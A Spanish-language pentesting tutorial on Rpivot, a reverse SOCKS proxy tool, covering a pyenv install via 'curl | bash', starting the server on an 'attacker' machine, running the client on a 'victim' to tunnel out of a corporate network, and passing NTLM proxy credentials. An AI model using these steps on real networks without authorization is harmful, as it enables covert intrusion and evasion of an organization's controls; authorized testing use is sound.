rpivot
Rpivot
Section titled “Rpivot”Rpivot es una herramienta proxy SOCKS inversa escrita en python que permite crear tuneles SOCKS, vincula una maquina de una red corporativa a un servidor externo y expone el puerto local del cliente en el lado del servidor.
.png)
Requisitos
Section titled “Requisitos”Para utilizar esta herramienta es necesario tener python2.7, en mi caso lo voy a desplegar con pyenv:
Instalar pyenv
Section titled “Instalar pyenv”curl https://pyenv.run | bashecho 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrcecho 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrcecho 'eval "$(pyenv init -)"' >> ~/.bashrcsource ~/.bashrcEjecutar terminal con python2.7
Section titled “Ejecutar terminal con python2.7”pyenv install 2.7pyenv shell 2.7Guia de uso
Section titled “Guia de uso”1. Clonar el repositorio
Section titled “1. Clonar el repositorio”git clone https://github.com/klsecservices/rpivot.git2. Iniciar el servidor en la maquina atacante
Section titled “2. Iniciar el servidor en la maquina atacante”python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip <ip-atacante>3. Traspasar el repositorio a la víctima
Section titled “3. Traspasar el repositorio a la víctima”Este paso podemos hacerlo de muchas maneras, habrá que elegir la forma que mas nos convenga en cada caso:
4. Iniciar el cliente en la maquina víctima
Section titled “4. Iniciar el cliente en la maquina víctima”Desde la maquina víctima debemos iniciar el cliente para activar el tunel.
python2.7 client.py --server-ip <ip-atacante> --server-port 99995. Conectarse con proxychains
Section titled “5. Conectarse con proxychains”proxychains4 firefox-esr <ip/dominio:puerto>Conexion a servidor web HTTP-Proxy y autenticación NTLM
Section titled “Conexion a servidor web HTTP-Proxy y autenticación NTLM”En algunos casos las organizacion establecen que no se pueda añadir un proxy sin una autenticacion NTLM (Proxy HTTP con autenticación NTLM). En estos casos podemos añadir una autenticacion NTLM para cumplir con la normativa de la organización y lograr un tunel, para ello se ejecutaria el cliente de la siguiente manera:
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>